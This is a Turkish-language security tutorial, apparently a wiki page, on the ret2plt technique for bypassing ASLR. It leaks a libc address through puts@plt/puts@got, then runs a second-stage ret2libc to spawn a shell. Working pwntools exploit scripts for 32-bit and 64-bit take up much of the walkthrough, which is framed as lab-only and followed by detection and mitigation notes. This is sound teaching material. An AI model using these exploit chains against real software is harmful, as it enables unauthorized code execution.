Skip to content

ret2plt ASLR Bypass (GOT/PLT leak)

Bilinen bir PLT stub'ını (örn. puts@plt) argümanı olarak bir libc fonksiyonunun GOT girdisiyle çağırarak o fonksiyonun canlı adresini yazdır; ikinci-aşama bir ret2libc'den önce library ASLR'ı atlat.

Mechanism

Neden çalışır

ASLR her koşuda libc base'ini rastgeleleştirir, dolayısıyla system'in adresini hardcode edemezsin. Ama ASLR bilgi gizlemedir, izolasyon değil: gerçek adres hâlâ process belleğinde mevcuttur — özellikle lazy binding'in her resolve edilmiş libc symbol'ünü cache'lediği GOT (Global Offset Table) içinde. Numara, programa senin için bir GOT girdisini okutmaktır.

Invariant iki olguya dayanır. İlki, bir no-PIE binary'de .plt ve .got.plt sabit adreslerde yaşar, dolayısıyla puts@plt ve puts@got ELF'ten okuduğun sabitlerdir. İkincisi, PLT stub'ı sadece normal bir call target'tır: puts@plt(arg), arg'taki string'i yazdırır. argputs@got'a — libc'nin puts'unun runtime adresini tutan pointer boyutunda bir hücreye — nişanla ve puts o ham byte'ları sadakatle yazdırsın. Bilinen statik offset libc.sym['puts']'u çıkar ve libc base'ine sahip olursun. ASLR tahmin ederek değil, programdan zaten tuttuğu bir sabiti leak etmesini isteyerek atlatılır.

Bu iki-aşamalı bir exploit'tir: leak et, sonra asıl ret2libc için aynı overflow'u tekrar kullanmak üzere main'e dön.

Walkthrough

Yalnızca lab

Sahibi olduğun vulnerable bir binary kullan. Klasik hedef no-PIE, NX-on, Partial RELRO, ASLR-on'dur — PIE ayrıca .plt adreslerini de rastgeleleştirir ve ayrı bir binary-base leak'i gerektirir.

1. Triyaj:

$ checksec --file=./vuln
Arch:     i386-32-little
RELRO:    Partial RELRO        <- GOT writable, but we only READ it here
NX:       NX enabled
PIE:      No PIE                <- .plt / .got are at fixed addresses

2. Aşama bir — puts@plt üzerinden puts@got'u leak et, sonra overflow ikinci kez erişilebilir olsun diye main'e dön:

from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

offset = 112                       # found via cyclic pattern

payload  = b'A' * offset
payload += flat(
    elf.plt['puts'],               # call puts@plt(...)
    elf.sym['main'],               # ...and return to main afterward
    elf.got['puts'],               # arg1 = &puts@got  -> prints libc puts addr
)
p.sendline(payload)

leak = u32(p.recv(4))              # 32-bit; use u64(p.recv(6).ljust(8,b'\0')) on x64
log.success(f'puts@libc = {leak:#x}')

x64 leak genişliği

Yukarıdaki p.recv(6), tipik bir Linux x86-64 libc adresinin 6 anlamlı byte'a sığdığı (0x7f... prefix, üst 2 byte null) varsayımına dayanır — çoğu ASLR konfigürasyonunda doğrudur ama garanti değildir. Daha robust yol u64(p.recvline().strip().ljust(8, b'\0')) ile tam pointer'ı okuyup trailing newline'ı temizlemektir.

3. libc base'ini leak'ten ve bilinen symbol offset'inden çöz:

libc = elf.libc                    # or ELF('/path/to/target/libc.so.6')
libc.address = leak - libc.sym['puts']
log.info(f'libc base = {libc.address:#x}')

4. Aşama iki — ret2libc, artık-bilinen adresleri kullanarak (yine main'deyiz, dolayısıyla aynı overflow tekrar ateşlenir):

binsh = next(libc.search(b'/bin/sh\x00'))

payload  = b'A' * offset
payload += flat(
    libc.sym['system'],
    0x0,                           # fake return address
    binsh,                         # arg1 = "/bin/sh"
)
p.sendline(payload)
p.interactive()                    # => shell
64-bit bir versiyon neden bir pop rdi gadget'ı gerektirir

x86-64'te ilk argüman stack'e değil rdi'ye gider, dolayısıyla leak aşaması şuna dönüşür:

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload  = b'A' * offset
payload += flat(
    pop_rdi, elf.got['puts'],   # rdi = &puts@got
    elf.plt['puts'],            # puts(rdi)
    elf.sym['main'],            # return to main
)
leak/hesapla/ret2libc yapısı aksi hâlde aynıdır. pop rdi; ret gadget'ı, 64-bit'te düz ret2libc'nin kullandığı aynı yapı taşıdır.

Detection

  • Bir oturumda neredeyse-aynı iki overflow input'u, ilki puts@plt -> main ile biten, tanınabilir bir leak-sonra-pivot imzasıdır.
  • Leak edilmiş byte'lar program çıktısındaki ham bir libc pointer'ıdır — normalde metin yazdıran bir fonksiyon için anomaliktir.

Mitigation

  • Full RELRO bu read'i durdurmaz (yalnızca GOT'u write'lara karşı read-only yapar), ama PIE yardımcı olur: binary base'ini rastgeleleştirir, böylece puts@plt/puts@got artık sabit değildir ve ek bir binary-leak adımını zorunlu kılar. Bkz. address-space-layout-randomization.
  • Altta yatan stack-buffer-overflow'u ortadan kaldır; bir stack-canary, chain çalışmadan önce overflow'u öldürür.

References